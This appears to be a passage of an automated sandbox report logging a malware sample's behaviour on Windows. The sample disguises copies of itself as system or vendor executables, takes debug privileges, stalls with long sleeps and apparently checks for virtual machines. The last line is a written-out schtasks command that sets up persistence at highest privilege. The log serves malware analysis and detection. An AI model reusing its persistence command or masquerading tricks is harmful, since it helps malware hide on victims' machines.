Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\smartscreen.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Memory allocated: F90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Memory allocated: 1AB50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Memory allocated: F30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Memory allocated: 1AC40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Memory allocated: 8A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Memory allocated: 1A480000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Memory allocated: 14C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Memory allocated: 1B250000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\twain_32\Registry.exe	Memory allocated: 1280000 memory reserve \| memory write watch
Source: C:\Windows\twain_32\Registry.exe	Memory allocated: 1AD90000 memory reserve \| memory write watch
Source: C:\Windows\twain_32\Registry.exe	Memory allocated: F20000 memory reserve \| memory write watch
Source: C:\Windows\twain_32\Registry.exe	Memory allocated: 1AC80000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Memory allocated: 11F0000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Memory allocated: 1ABC0000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Memory allocated: 830000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Memory allocated: 1A4E0000 memory reserve \| memory write watch
Source: C:\ProgramData\smartscreen.exe	Memory allocated: 680000 memory reserve \| memory write watch
Source: C:\ProgramData\smartscreen.exe	Memory allocated: 1A380000 memory reserve \| memory write watch
Source: C:\ProgramData\smartscreen.exe	Memory allocated: 1280000 memory reserve \| memory write watch
Source: C:\ProgramData\smartscreen.exe	Memory allocated: 1AD40000 memory reserve \| memory write watch
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Memory allocated: 2490000 memory reserve \| memory write watch
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Memory allocated: 1A680000 memory reserve \| memory write watch
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Memory allocated: A80000 memory reserve \| memory write watch
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Memory allocated: 1A890000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Thread delayed: delay time: 599641	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Thread delayed: delay time: 599516	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Thread delayed: delay time: 599407	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Thread delayed: delay time: 599282	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Thread delayed: delay time: 599157	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Thread delayed: delay time: 599047	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Thread delayed: delay time: 598934	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Thread delayed: delay time: 598828	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\twain_32\Registry.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\twain_32\Registry.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\smartscreen.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\smartscreen.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Window / User API: threadDelayed 1126	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Window / User API: threadDelayed 1037	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Window / User API: threadDelayed 1409	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Window / User API: threadDelayed 2080	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Window / User API: threadDelayed 647	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Window / User API: threadDelayed 367	Jump to behavior
Source: C:\Windows\twain_32\Registry.exe	Window / User API: threadDelayed 361
Source: C:\Windows\twain_32\Registry.exe	Window / User API: threadDelayed 364
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Window / User API: threadDelayed 362
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Window / User API: threadDelayed 370
Source: C:\ProgramData\smartscreen.exe	Window / User API: threadDelayed 367
Source: C:\ProgramData\smartscreen.exe	Window / User API: threadDelayed 367
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Window / User API: threadDelayed 369
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Window / User API: threadDelayed 364

Source: C:\Users\user\Desktop\13ZNp2xvRU.exe TID: 6232	Thread sleep count: 1126 > 30	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe TID: 6232	Thread sleep count: 1037 > 30	Jump to behavior
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe TID: 6688	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe TID: 4080	Thread sleep count: 1409 > 30	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe TID: 2996	Thread sleep count: 2080 > 30	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe TID: 7576	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe TID: 7576	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe TID: 7576	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe TID: 7576	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe TID: 7576	Thread sleep time: -599641s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe TID: 7576	Thread sleep time: -599516s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe TID: 7576	Thread sleep time: -599407s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe TID: 7576	Thread sleep time: -599282s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe TID: 7576	Thread sleep time: -599157s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe TID: 7576	Thread sleep time: -599047s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe TID: 7576	Thread sleep time: -598934s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe TID: 7576	Thread sleep time: -598828s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe TID: 5216	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe TID: 5844	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe TID: 7216	Thread sleep count: 647 > 30	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe TID: 7180	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe TID: 7308	Thread sleep count: 367 > 30	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe TID: 7252	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\twain_32\Registry.exe TID: 7352	Thread sleep count: 361 > 30
Source: C:\Windows\twain_32\Registry.exe TID: 7256	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\twain_32\Registry.exe TID: 7492	Thread sleep count: 364 > 30
Source: C:\Windows\twain_32\Registry.exe TID: 7388	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe TID: 7604	Thread sleep count: 362 > 30
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe TID: 7392	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe TID: 7632	Thread sleep count: 370 > 30
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe TID: 7472	Thread sleep time: -922337203685477s >= -30000s
Source: C:\ProgramData\smartscreen.exe TID: 7716	Thread sleep count: 367 > 30
Source: C:\ProgramData\smartscreen.exe TID: 7552	Thread sleep time: -922337203685477s >= -30000s
Source: C:\ProgramData\smartscreen.exe TID: 7512	Thread sleep count: 367 > 30
Source: C:\ProgramData\smartscreen.exe TID: 7428	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe TID: 7704	Thread sleep count: 369 > 30
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe TID: 7560	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe TID: 7688	Thread sleep count: 364 > 30
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe TID: 7528	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\twain_32\Registry.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\twain_32\Registry.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\ProgramData\smartscreen.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\ProgramData\smartscreen.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Thread delayed: delay time: 599641	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Thread delayed: delay time: 599516	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Thread delayed: delay time: 599407	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Thread delayed: delay time: 599282	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Thread delayed: delay time: 599157	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Thread delayed: delay time: 599047	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Thread delayed: delay time: 598934	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Thread delayed: delay time: 598828	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\twain_32\Registry.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\twain_32\Registry.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\smartscreen.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\smartscreen.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Thread delayed: delay time: 922337203685477

Source: 13ZNp2xvRU.exe, 00000000.00000002.1730295583.000000001BD22000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}8b}\
Source: RRVGfHJzvQMYfWe.exe, 0000001C.00000002.1752439368.000000001BC60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 13ZNp2xvRU.exe, 00000000.00000002.1730295583.000000001BD22000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\!

Source: C:\Users\user\Desktop\13ZNp2xvRU.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\13ZNp2xvRU.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\twain_32\Registry.exe	Process token adjusted: Debug
Source: C:\Windows\twain_32\Registry.exe	Process token adjusted: Debug
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Process token adjusted: Debug
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe	Process token adjusted: Debug
Source: C:\ProgramData\smartscreen.exe	Process token adjusted: Debug
Source: C:\ProgramData\smartscreen.exe	Process token adjusted: Debug
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process token adjusted: Debug
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\13ZNp2xvRU.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\13ZNp2xvRU.exe

Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "smartscreens" /sc MINUTE /mo 14 /tr "'C:\Users\All Users\smartscreen.exe'" /rl HIGHEST /f

Jump to behavior

